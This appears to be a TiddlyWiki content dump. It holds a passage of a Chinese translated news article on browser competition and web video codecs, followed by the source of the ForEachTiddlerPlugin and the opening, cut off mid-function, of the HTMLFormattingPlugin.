一大棘手問題是網路影片格式。今天大多數網路影片都採用奧多比公司(Adobe Systems)的Flash瀏覽器外掛(plug-in),這是免費的; 影像以H.264標準編碼,則必須取得授權。但到2011年,授權費可能增加,屆時透過網路串流H.264影片,可能要收新的權利金。

也許不是巧合,Google宣布計劃收購On2 Technologies,這家公司擁有另一款影片編碼與解碼軟體(即codec),包括目前開發中的最新版本,稱為VP8。

Lilly說:「如果VP8是開放的codec,而且不受專利授權考量羈絆,那將是我們會部署的技術,那會使整個情況改觀。」

業界正進行十年來首度的HTML標準更新,一大功能是加入影片標籤(video tag),把影片直接嵌入網路,而不必再倚賴Flash、微軟Silverlight或蘋果QuickTime這類外掛程式。但Mozilla、 Google、蘋果和Opera對影片該用哪一種格式來編碼,仍有歧見。

Mozilla和Opera敦促採用Ogg Theora影片格式。蘋果的Safari內建對H.264的支援。Google的Chrome兩種都支援,但YouTube只支援H.264。微軟尚未表態。所以,就目前而言,影片外掛程式似乎尚未受到威脅。

微軟覺醒

自從IE打贏1990年代的瀏覽器大戰後,微軟的瀏覽器開發幾乎可說是停滯不前。但跡象顯示,這個沈睡的巨人已逐漸甦醒。

微軟今年稍早推出IE 8,試圖符合網路標準,而不是自立標準。雖然IE尚未支援一些時下最新、把網路打造成應用程式基礎的技術,但微軟正積極參與有關這些技術標準化的協商。同時,微軟也著手發展自己的網路應用程式,例如線上版的Office 2010。

躍上行動平台

Firefox邁向行動市場的步調較遲緩。其行動版瀏覽器(稱為Fennec)預定今年稍後推出,屆時將打著Firefox的品牌,搭配Nokia的Maemo行動作業系統。同時,Lilly曾經預告, Firefox也將支援Google的Android作業系統。

Lilly說:「我現在用手機瀏覽網路比以往更頻繁。電腦桌面與行動運算之間的分界線日益模糊。我們將在今年稍後推出(Fennec),產品名稱為Firefox。」

儘管市場尚未定型,前景充滿變數,但Lilly喜歡往光明面看。他說:「從許多方面來看,對網路使用者而言,這個世界變得比以前更美好。現在有真正的選擇可選,不只是蘋果和微軟,也有Google和Opera。」(唐慧文譯)

/***
|''Name:''|ForEachTiddlerPlugin|
|''Version:''|1.0.8 (2007-04-12)|
|''Source:''|http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin|
|''Author:''|UdoBorkowski (ub [at] abego-software [dot] de)|
|''Licence:''|[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]|
|''Copyright:''|&copy; 2005-2007 [[abego Software|http://www.abego-software.de]]|
|''TiddlyWiki:''|1.2.38+, 2.0|
|''Browser:''|Firefox 1.0.4+; Firefox 1.5; InternetExplorer 6.0|
!Description

Create customizable lists, tables etc. for your selections of tiddlers. Specify the tiddlers to include and their order through a powerful language.

''Syntax:'' 
|>|{{{<<}}}''forEachTiddler'' [''in'' //tiddlyWikiPath//] [''where'' //whereCondition//] [''sortBy'' //sortExpression// [''ascending'' //or// ''descending'']] [''script'' //scriptText//] [//action// [//actionParameters//]]{{{>>}}}|
|//tiddlyWikiPath//|The filepath to the TiddlyWiki the macro should work on. When missing the current TiddlyWiki is used.|
|//whereCondition//|(quoted) JavaScript boolean expression. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//sortExpression//|(quoted) JavaScript expression returning "comparable" objects (using '{{{<}}}','{{{>}}}','{{{==}}}'. May refer to the build-in variables {{{tiddler}}} and  {{{context}}}.|
|//scriptText//|(quoted) JavaScript text. Typically defines JavaScript functions that are called by the various JavaScript expressions (whereClause, sortClause, action arguments,...)|
|//action//|The action that should be performed on every selected tiddler, in the given order. By default the actions [[addToList|AddToListAction]] and [[write|WriteAction]] are supported. When no action is specified [[addToList|AddToListAction]]  is used.|
|//actionParameters//|(action specific) parameters the action may refer while processing the tiddlers (see action descriptions for details). <<tiddler [[JavaScript in actionParameters]]>>|
|>|~~Syntax formatting: Keywords in ''bold'', optional parts in [...]. 'or' means that exactly one of the two alternatives must exist.~~|

See details see [[ForEachTiddlerMacro]] and [[ForEachTiddlerExamples]].

!Code
***/
//{{{

	
//============================================================================
//============================================================================
//		   ForEachTiddlerPlugin
//============================================================================
//============================================================================

// Only install once
if (!version.extensions.ForEachTiddlerPlugin) {

if (!window.abego) window.abego = {};

version.extensions.ForEachTiddlerPlugin = {
	major: 1, minor: 0, revision: 8, 
	date: new Date(2007,3,12), 
	source: "http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin",
	licence: "[[BSD open source license (abego Software)|http://www.abego-software.de/legal/apl-v10.html]]",
	copyright: "Copyright (c) abego Software GmbH, 2005-2007 (www.abego-software.de)"
};

// For backward compatibility with TW 1.2.x
//
if (!TiddlyWiki.prototype.forEachTiddler) {
	TiddlyWiki.prototype.forEachTiddler = function(callback) {
		for(var t in this.tiddlers) {
			callback.call(this,t,this.tiddlers[t]);
		}
	};
}

//============================================================================
// forEachTiddler Macro
//============================================================================

version.extensions.forEachTiddler = {
	major: 1, minor: 0, revision: 8, date: new Date(2007,3,12), provider: "http://tiddlywiki.abego-software.de"};

// ---------------------------------------------------------------------------
// Configurations and constants 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler = {
	 // Standard Properties
	 label: "forEachTiddler",
	 prompt: "Perform actions on a (sorted) selection of tiddlers",

	 // actions
	 actions: {
		 addToList: {},
		 write: {}
	 }
};

// ---------------------------------------------------------------------------
//  The forEachTiddler Macro Handler 
// ---------------------------------------------------------------------------

config.macros.forEachTiddler.getContainingTiddler = function(e) {
	while(e && !hasClass(e,"tiddler"))
		e = e.parentNode;
	var title = e ? e.getAttribute("tiddler") : null; 
	return title ? store.getTiddler(title) : null;
};

config.macros.forEachTiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
	// config.macros.forEachTiddler.traceMacroCall(place,macroName,params,wikifier,paramString,tiddler);

	if (!tiddler) tiddler = config.macros.forEachTiddler.getContainingTiddler(place);
	// --- Parsing ------------------------------------------

	var i = 0; // index running over the params
	// Parse the "in" clause
	var tiddlyWikiPath = undefined;
	if ((i < params.length) && params[i] == "in") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "TiddlyWiki path expected behind 'in'.");
			return;
		}
		tiddlyWikiPath = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the where clause
	var whereClause ="true";
	if ((i < params.length) && params[i] == "where") {
		i++;
		whereClause = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the sort stuff
	var sortClause = null;
	var sortAscending = true; 
	if ((i < params.length) && params[i] == "sortBy") {
		i++;
		if (i >= params.length) {
			this.handleError(place, "sortClause missing behind 'sortBy'.");
			return;
		}
		sortClause = this.paramEncode(params[i]);
		i++;

		if ((i < params.length) && (params[i] == "ascending" || params[i] == "descending")) {
			 sortAscending = params[i] == "ascending";
			 i++;
		}
	}

	// Parse the script
	var scriptText = null;
	if ((i < params.length) && params[i] == "script") {
		i++;
		scriptText = this.paramEncode((i < params.length) ? params[i] : "");
		i++;
	}

	// Parse the action. 
	// When we are already at the end use the default action
	var actionName = "addToList";
	if (i < params.length) {
	   if (!config.macros.forEachTiddler.actions[params[i]]) {
			this.handleError(place, "Unknown action '"+params[i]+"'.");
			return;
		} else {
			actionName = params[i]; 
			i++;
		}
	} 
	
	// Get the action parameter
	// (the parsing is done inside the individual action implementation.)
	var actionParameter = params.slice(i);


	// --- Processing ------------------------------------------
	try {
		this.performMacro({
				place: place, 
				inTiddler: tiddler,
				whereClause: whereClause, 
				sortClause: sortClause, 
				sortAscending: sortAscending, 
				actionName: actionName, 
				actionParameter: actionParameter, 
				scriptText: scriptText, 
				tiddlyWikiPath: tiddlyWikiPath});

	} catch (e) {
		this.handleError(place, e);
	}
};

// Returns an object with properties "tiddlers" and "context".
// tiddlers holds the (sorted) tiddlers selected by the parameter,
// context the context of the execution of the macro.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlersAndContext = function(parameter) {

	var context = config.macros.forEachTiddler.createContext(parameter.place, parameter.whereClause, parameter.sortClause, parameter.sortAscending, parameter.actionName, parameter.actionParameter, parameter.scriptText, parameter.tiddlyWikiPath, parameter.inTiddler);

	var tiddlyWiki = parameter.tiddlyWikiPath ? this.loadTiddlyWiki(parameter.tiddlyWikiPath) : store;
	context["tiddlyWiki"] = tiddlyWiki;
	
	// Get the tiddlers, as defined by the whereClause
	var tiddlers = this.findTiddlers(parameter.whereClause, context, tiddlyWiki);
	context["tiddlers"] = tiddlers;

	// Sort the tiddlers, when sorting is required.
	if (parameter.sortClause) {
		this.sortTiddlers(tiddlers, parameter.sortClause, parameter.sortAscending, context);
	}

	return {tiddlers: tiddlers, context: context};
};

// Returns the (sorted) tiddlers selected by the parameter.
//
// The action is not yet performed.
//
// @parameter see performMacro
//
config.macros.forEachTiddler.getTiddlers = function(parameter) {
	return this.getTiddlersAndContext(parameter).tiddlers;
};

// Performs the macros with the given parameter.
//
// @param parameter holds the parameter of the macro as separate properties.
//				  The following properties are supported:
//
//						place
//						whereClause
//						sortClause
//						sortAscending
//						actionName
//						actionParameter
//						scriptText
//						tiddlyWikiPath
//
//					All properties are optional. 
//					For most actions the place property must be defined.
//
config.macros.forEachTiddler.performMacro = function(parameter) {
	var tiddlersAndContext = this.getTiddlersAndContext(parameter);

	// Perform the action
	var actionName = parameter.actionName ? parameter.actionName : "addToList";
	var action = config.macros.forEachTiddler.actions[actionName];
	if (!action) {
		this.handleError(parameter.place, "Unknown action '"+actionName+"'.");
		return;
	}

	var actionHandler = action.handler;
	actionHandler(parameter.place, tiddlersAndContext.tiddlers, parameter.actionParameter, tiddlersAndContext.context);
};

// ---------------------------------------------------------------------------
//  The actions 
// ---------------------------------------------------------------------------

// Internal.
//
// --- The addToList Action -----------------------------------------------
//
config.macros.forEachTiddler.actions.addToList.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;

	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "addToList", parameter, p);
		return;
	}

	// Perform the action.
	var list = document.createElement("ul");
	place.appendChild(list);
	for (var i = 0; i < tiddlers.length; i++) {
		var tiddler = tiddlers[i];
		var listItem = document.createElement("li");
		list.appendChild(listItem);
		createTiddlyLink(listItem, tiddler.title, true);
	}
};

abego.parseNamedParameter = function(name, parameter, i) {
	var beginExpression = null;
	if ((i < parameter.length) && parameter[i] == name) {
		i++;
		if (i >= parameter.length) {
			throw "Missing text behind '%0'".format([name]);
		}
		
		return config.macros.forEachTiddler.paramEncode(parameter[i]);
	}
	return null;
}

// Internal.
//
// --- The write Action ---------------------------------------------------
//
config.macros.forEachTiddler.actions.write.handler = function(place, tiddlers, parameter, context) {
	// Parse the parameter
	var p = 0;
	if (p >= parameter.length) {
		this.handleError(place, "Missing expression behind 'write'.");
		return;
	}

	var textExpression = config.macros.forEachTiddler.paramEncode(parameter[p]);
	p++;

	// Parse the "begin" option
	var beginExpression = abego.parseNamedParameter("begin", parameter, p);
	if (beginExpression !== null) 
		p += 2;
	var endExpression = abego.parseNamedParameter("end", parameter, p);
	if (endExpression !== null) 
		p += 2;
	var noneExpression = abego.parseNamedParameter("none", parameter, p);
	if (noneExpression !== null) 
		p += 2;

	// Parse the "toFile" option
	var filename = null;
	var lineSeparator = undefined;
	if ((p < parameter.length) && parameter[p] == "toFile") {
		p++;
		if (p >= parameter.length) {
			this.handleError(place, "Filename expected behind 'toFile' of 'write' action.");
			return;
		}
		
		filename = config.macros.forEachTiddler.getLocalPath(config.macros.forEachTiddler.paramEncode(parameter[p]));
		p++;
		if ((p < parameter.length) && parameter[p] == "withLineSeparator") {
			p++;
			if (p >= parameter.length) {
				this.handleError(place, "Line separator text expected behind 'withLineSeparator' of 'write' action.");
				return;
			}
			lineSeparator = config.macros.forEachTiddler.paramEncode(parameter[p]);
			p++;
		}
	}
	
	// Check for extra parameters
	if (parameter.length > p) {
		config.macros.forEachTiddler.createExtraParameterErrorElement(place, "write", parameter, p);
		return;
	}

	// Perform the action.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(textExpression, context);
	var count = tiddlers.length;
	var text = "";
	if (count > 0 && beginExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(beginExpression, context)(undefined, context, count, undefined);
	
	for (var i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		text += func(tiddler, context, count, i);
	}
	
	if (count > 0 && endExpression)
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(endExpression, context)(undefined, context, count, undefined);

	if (count == 0 && noneExpression) 
		text += config.macros.forEachTiddler.getEvalTiddlerFunction(noneExpression, context)(undefined, context, count, undefined);
		

	if (filename) {
		if (lineSeparator !== undefined) {
			lineSeparator = lineSeparator.replace(/\\n/mg, "\n").replace(/\\r/mg, "\r");
			text = text.replace(/\n/mg,lineSeparator);
		}
		saveFile(filename, convertUnicodeToUTF8(text));
	} else {
		var wrapper = createTiddlyElement(place, "span");
		wikify(text, wrapper, null/* highlightRegExp */, context.inTiddler);
	}
};


// ---------------------------------------------------------------------------
//  Helpers
// ---------------------------------------------------------------------------

// Internal.
//
config.macros.forEachTiddler.createContext = function(placeParam, whereClauseParam, sortClauseParam, sortAscendingParam, actionNameParam, actionParameterParam, scriptText, tiddlyWikiPathParam, inTiddlerParam) {
	return {
		place : placeParam, 
		whereClause : whereClauseParam, 
		sortClause : sortClauseParam, 
		sortAscending : sortAscendingParam, 
		script : scriptText,
		actionName : actionNameParam, 
		actionParameter : actionParameterParam,
		tiddlyWikiPath : tiddlyWikiPathParam,
		inTiddler : inTiddlerParam, // the tiddler containing the <<forEachTiddler ...>> macro call.
		viewerTiddler : config.macros.forEachTiddler.getContainingTiddler(placeParam) // the tiddler showing the forEachTiddler result
	};
};

// Internal.
//
// Returns a TiddlyWiki with the tiddlers loaded from the TiddlyWiki of 
// the given path.
//
config.macros.forEachTiddler.loadTiddlyWiki = function(path, idPrefix) {
	if (!idPrefix) {
		idPrefix = "store";
	}
	var lenPrefix = idPrefix.length;
	
	// Read the content of the given file
	var content = loadFile(this.getLocalPath(path));
	if(content === null) {
		throw "TiddlyWiki '"+path+"' not found.";
	}
	
	var tiddlyWiki = new TiddlyWiki();

	// Starting with TW 2.2 there is a helper function to import the tiddlers
	if (tiddlyWiki.importTiddlyWiki) {
		if (!tiddlyWiki.importTiddlyWiki(content))
			throw "File '"+path+"' is not a TiddlyWiki.";
		tiddlyWiki.dirty = false;
		return tiddlyWiki;
	}
	
	// The legacy code, for TW < 2.2
	
	// Locate the storeArea div's
	var posOpeningDiv = content.indexOf(startSaveArea);
	var posClosingDiv = content.lastIndexOf(endSaveArea);
	if((posOpeningDiv == -1) || (posClosingDiv == -1)) {
		throw "File '"+path+"' is not a TiddlyWiki.";
	}
	var storageText = content.substr(posOpeningDiv + startSaveArea.length, posClosingDiv);
	
	// Create a "div" element that contains the storage text
	var myStorageDiv = document.createElement("div");
	myStorageDiv.innerHTML = storageText;
	myStorageDiv.normalize();
	
	// Create all tiddlers in a new TiddlyWiki
	// (following code is modified copy of TiddlyWiki.prototype.loadFromDiv)
	var store = myStorageDiv.childNodes;
	for(var t = 0; t < store.length; t++) {
		var e = store[t];
		var title = null;
		if(e.getAttribute)
			title = e.getAttribute("tiddler");
		if(!title && e.id && e.id.substr(0,lenPrefix) == idPrefix)
			title = e.id.substr(lenPrefix);
		if(title && title !== "") {
			var tiddler = tiddlyWiki.createTiddler(title);
			tiddler.loadFromDiv(e,title);
		}
	}
	tiddlyWiki.dirty = false;

	return tiddlyWiki;
};


	
// Internal.
//
// Returns a function that has a function body returning the given javaScriptExpression.
// The function has the parameters:
// 
//	 (tiddler, context, count, index)
//
config.macros.forEachTiddler.getEvalTiddlerFunction = function (javaScriptExpression, context) {
	var script = context["script"];
	var functionText = "var theFunction = function(tiddler, context, count, index) { return "+javaScriptExpression+"}";
	var fullText = (script ? script+";" : "")+functionText+";theFunction;";
	return eval(fullText);
};

// Internal.
//
config.macros.forEachTiddler.findTiddlers = function(whereClause, context, tiddlyWiki) {
	var result = [];
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(whereClause, context);
	tiddlyWiki.forEachTiddler(function(title,tiddler) {
		if (func(tiddler, context, undefined, undefined)) {
			result.push(tiddler);
		}
	});
	return result;
};

// Internal.
//
config.macros.forEachTiddler.createExtraParameterErrorElement = function(place, actionName, parameter, firstUnusedIndex) {
	var message = "Extra parameter behind '"+actionName+"':";
	for (var i = firstUnusedIndex; i < parameter.length; i++) {
		message += " "+parameter[i];
	}
	this.handleError(place, message);
};

// Internal.
//
config.macros.forEachTiddler.sortAscending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? -1 
			   : +1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortDescending = function(tiddlerA, tiddlerB) {
	var result = 
		(tiddlerA.forEachTiddlerSortValue == tiddlerB.forEachTiddlerSortValue) 
			? 0
			: (tiddlerA.forEachTiddlerSortValue < tiddlerB.forEachTiddlerSortValue)
			   ? +1 
			   : -1; 
	return result;
};

// Internal.
//
config.macros.forEachTiddler.sortTiddlers = function(tiddlers, sortClause, ascending, context) {
	// To avoid evaluating the sortClause whenever two items are compared 
	// we pre-calculate the sortValue for every item in the array and store it in a 
	// temporary property ("forEachTiddlerSortValue") of the tiddlers.
	var func = config.macros.forEachTiddler.getEvalTiddlerFunction(sortClause, context);
	var count = tiddlers.length;
	var i;
	for (i = 0; i < count; i++) {
		var tiddler = tiddlers[i];
		tiddler.forEachTiddlerSortValue = func(tiddler,context, undefined, undefined);
	}

	// Do the sorting
	tiddlers.sort(ascending ? this.sortAscending : this.sortDescending);

	// Delete the temporary property that holds the sortValue.	
	for (i = 0; i < tiddlers.length; i++) {
		delete tiddlers[i].forEachTiddlerSortValue;
	}
};


// Internal.
//
config.macros.forEachTiddler.trace = function(message) {
	displayMessage(message);
};

// Internal.
//
config.macros.forEachTiddler.traceMacroCall = function(place,macroName,params) {
	var message ="<<"+macroName;
	for (var i = 0; i < params.length; i++) {
		message += " "+params[i];
	}
	message += ">>";
	displayMessage(message);
};


// Internal.
//
// Creates an element that holds an error message
// 
config.macros.forEachTiddler.createErrorElement = function(place, exception) {
	var message = (exception.description) ? exception.description : exception.toString();
	return createTiddlyElement(place,"span",null,"forEachTiddlerError","<<forEachTiddler ...>>: "+message);
};

// Internal.
//
// @param place [may be null]
//
config.macros.forEachTiddler.handleError = function(place, exception) {
	if (place) {
		this.createErrorElement(place, exception);
	} else {
		throw exception;
	}
};

// Internal.
//
// Encodes the given string.
//
// Replaces 
//	 "$))" to ">>"
//	 "$)" to ">"
//
config.macros.forEachTiddler.paramEncode = function(s) {
	var reGTGT = new RegExp("\\$\\)\\)","mg");
	var reGT = new RegExp("\\$\\)","mg");
	return s.replace(reGTGT, ">>").replace(reGT, ">");
};

// Internal.
//
// Returns the given original path (that is a file path, starting with "file:")
// as a path to a local file, in the systems native file format.
//
// Location information in the originalPath (i.e. the "#" and stuff following)
// is stripped.
// 
config.macros.forEachTiddler.getLocalPath = function(originalPath) {
	// Remove any location part of the URL
	var hashPos = originalPath.indexOf("#");
	if(hashPos != -1)
		originalPath = originalPath.substr(0,hashPos);
	// Convert to a native file format assuming
	// "file:///x:/path/path/path..." - pc local file --> "x:\path\path\path..."
	// "file://///server/share/path/path/path..." - FireFox pc network file --> "\\server\share\path\path\path..."
	// "file:///path/path/path..." - mac/unix local file --> "/path/path/path..."
	// "file://server/share/path/path/path..." - pc network file --> "\\server\share\path\path\path..."
	var localPath;
	if(originalPath.charAt(9) == ":") // pc local file
		localPath = unescape(originalPath.substr(8)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file://///") === 0) // FireFox pc network file
		localPath = "\\\\" + unescape(originalPath.substr(10)).replace(new RegExp("/","g"),"\\");
	else if(originalPath.indexOf("file:///") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(7));
	else if(originalPath.indexOf("file:/") === 0) // mac/unix local file
		localPath = unescape(originalPath.substr(5));
	else // pc network file
		localPath = "\\\\" + unescape(originalPath.substr(7)).replace(new RegExp("/","g"),"\\");	
	return localPath;
};

// ---------------------------------------------------------------------------
// Stylesheet Extensions (may be overridden by local StyleSheet)
// ---------------------------------------------------------------------------
//
setStylesheet(
	".forEachTiddlerError{color: #ffffff;background-color: #880000;}",
	"forEachTiddler");

//============================================================================
// End of forEachTiddler Macro
//============================================================================


//============================================================================
// String.startsWith Function
//============================================================================
//
// Returns true if the string starts with the given prefix, false otherwise.
//
version.extensions["String.startsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.startsWith = function(prefix) {
	var n =  prefix.length;
	return (this.length >= n) && (this.slice(0, n) == prefix);
};



//============================================================================
// String.endsWith Function
//============================================================================
//
// Returns true if the string ends with the given suffix, false otherwise.
//
version.extensions["String.endsWith"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.endsWith = function(suffix) {
	var n = suffix.length;
	return (this.length >= n) && (this.right(n) == suffix);
};


//============================================================================
// String.contains Function
//============================================================================
//
// Returns true when the string contains the given substring, false otherwise.
//
version.extensions["String.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
String.prototype.contains = function(substring) {
	return this.indexOf(substring) >= 0;
};

//============================================================================
// Array.indexOf Function
//============================================================================
//
// Returns the index of the first occurance of the given item in the array or 
// -1 when no such item exists.
//
// @param item [may be null]
//
version.extensions["Array.indexOf"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.indexOf = function(item) {
	for (var i = 0; i < this.length; i++) {
		if (this[i] == item) {
			return i;
		}
	}
	return -1;
};

//============================================================================
// Array.contains Function
//============================================================================
//
// Returns true when the array contains the given item, otherwise false. 
//
// @param item [may be null]
//
version.extensions["Array.contains"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.contains = function(item) {
	return (this.indexOf(item) >= 0);
};

//============================================================================
// Array.containsAny Function
//============================================================================
//
// Returns true when the array contains at least one of the elements 
// of the item. Otherwise (or when items contains no elements) false is returned.
//
version.extensions["Array.containsAny"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAny = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (this.contains(items[i])) {
			return true;
		}
	}
	return false;
};


//============================================================================
// Array.containsAll Function
//============================================================================
//
// Returns true when the array contains all the items, otherwise false.
// 
// When items is null false is returned (even if the array contains a null).
//
// @param items [may be null] 
//
version.extensions["Array.containsAll"] = {major: 1, minor: 0, revision: 0, date: new Date(2005,11,20), provider: "http://tiddlywiki.abego-software.de"};
//
Array.prototype.containsAll = function(items) {
	for(var i = 0; i < items.length; i++) {
		if (!this.contains(items[i])) {
			return false;
		}
	}
	return true;
};


} // of "install only once"

// Used Globals (for JSLint) ==============
// ... DOM
/*global 	document */
// ... TiddlyWiki Core
/*global 	convertUnicodeToUTF8, createTiddlyElement, createTiddlyLink, 
			displayMessage, endSaveArea, hasClass, loadFile, saveFile, 
			startSaveArea, store, wikify */
//}}}


/***
!Licence and Copyright
Copyright (c) abego Software ~GmbH, 2005 ([[www.abego-software.de|http://www.abego-software.de]])

Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:

Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or other
materials provided with the distribution.

Neither the name of abego Software nor the names of its contributors may be
used to endorse or promote products derived from this software without specific
prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
DAMAGE.
***/
<!--{{{-->
<div class='toolbar' macro='toolbar +saveTiddler  -cancelTiddler deleteTiddler'></div>
<div class='title' macro='view title'></div>
<div class='editor' macro='edit title'></div>
<div macro='annotations'></div>
<div class='editor' macro='easyEdit text'></div>
<div class='editor' macro='edit tags'></div><div class='editorFooter'><span macro='message views.editor.tagPrompt'></span><span macro='tagChooser'></span></div>
<!--}}}-->
/***
|Name|HTMLFormattingPlugin|
|Source|http://www.TiddlyTools.com/#HTMLFormattingPlugin|
|Documentation|http://www.TiddlyTools.com/#HTMLFormattingPluginInfo|
|Version|2.1.5|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|'HTML' formatter|
|Description|embed wiki syntax formatting inside of HTML content|
The shorthand Wiki-style formatting syntax of ~TiddlyWiki is very convenient and enables most content to be reasonably well presented. However, there are times when tried-and-true HTML formatting syntax allows more more precise control of the content display.  When HTML formatting syntax is embedded within a tiddler (in between {{{<}}}{{{html>}}} and {{{<}}}{{{/html>}}} markers) TiddlyWiki passes this content to the browser for processing as 'native' HTML.  However, TiddlyWiki does not also process the HTML source content for any embedded wiki-formatting syntax it may contain.  This means that while you can use HTML formatted content, you cannot mix wiki-formatted content within the HTML formatting.

The ~HTMLFormatting plugin allows you to freely ''mix wiki-style formatting syntax within HTML formatted content'' by extending the action of the standard TiddlyWiki formatting handler.
!!!!!Documentation
>see [[HTMLFormattingPluginInfo]]
!!!!!Revisions
<<<
2008.01.08 [*.*.*] plugin size reduction: documentation moved to HTMLFormattingInfo
2007.12.04 [*.*.*] update for TW2.3.0: replaced deprecated core functions, regexps, and macros
2007.06.14 [2.1.5] in formatter, removed call to e.normalize().  Creates an INFINITE RECURSION error in Safari!!!!
2006.09.10 [2.1.4] update formatter for 2.1 compatibility (use this.lookaheadRegExp instead of temp variable)
2006.05.28 [2.1.3] in wikifyTextNodes(), decode the *value* of TEXTAREA nodes, but don't wikify() its children.  (thanks to "ayj" for bug report)
2006.02.19 [2.1.2] in wikifyTextNodes(), put SPAN element into tiddler DOM (replacing text node), BEFORE wikifying the text content.  This ensures that the 'place' passed to any macros is correctly defined when the macro is evaluated, so that calls to story.findContainingTiddler(place) will work as expected. (Thanks for bug report from GeoffSlocock)
2006.02.05 [2.1.1] wrapped wikifier hijack in init function to eliminate globals and avoid FireFox 1.5.0.1 crash bug when referencing globals
2005.12.01 [2.1.0] don't wikify #TEXT nodes inside SELECT and TEXTAREA elements
2005.11.06 [2.0.1] code cleanup
2005.10.31 [2.0.0] replaced hijack wikify() with hijack config.formatters["html"] and simplified recursive WikifyTextNodes() code
2005.10.09 [1.0.2] combined documentation and code into a single tiddler
2005.08.05 [1.0.1] moved HTML and CSS definitions into plugin code instead of using separate tiddlers
2005.07.26 [1.0.1] Re-released as a plugin. Added <{{{html}}}>...</{{{nohtml}}}> and <{{{hide newlines}}}> handling
2005.06.26 [1.0.0] Initial Release (as code adaptation - pre-dates TiddlyWiki plugin architecture!!)
<<<
!!!!!Code
***/
//{{{
version.extensions.HTMLFormatting = {major: 2, minor: 1, revision: 5, date: new Date(2007,6,14)};

// find the formatter for HTML and replace the handler
initHTMLFormatter();
function initHTMLFormatter()
{
	for (var i=0; i<config.formatters.length && config.formatters[i].name!="html"; i++);
	if (i<config.formatters.length)	config.formatters[i].handler=function(w) {
		if (!this.lookaheadRegExp)  // fixup for TW2.0.x
			this.lookaheadRegExp = new RegExp(this.lookahead,"mg");
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var html=lookaheadMatch[1];
			// optionally suppress wiki-style literal handling of newlines
			// strip any carriage returns added by Internet Explorer's textarea edit field
			// encode newlines as \n so Internet Explorer's HTML parser won't eat them
			// encode macro brackets (<< and >>) so HTML parser won't eat them
			if (html.indexOf('<hide linebreaks>')!=-1) html=html.replace(/\n/g,' ');
			html=html.replace(/\r/g,'');
			html=html.replace(/\n/g,'\\n');
			html=html.replace(/<</g,'%%(').replace(/>>/g,')%%');
			// create span to hold HTML
			// parse HTML and normalize the results
			// walk node tree and call wikify() on each text node
			var e = createTiddlyElement(w.output,"span");
			e.innerHTML=html;
			// REMOVED: e.normalize();  // THIS CAUSED INFINITE RECURSION IN SAFARI
			wikifyTextNodes(e);
			// advance to next parse position
			w.nextMatch = this.lookaheadRegExp.lastIndex;
		}
	}
}

// wikify text nodes remaining after HTML content is processed (pre-order recursion)
function wikifyTextNodes(theNode)
{
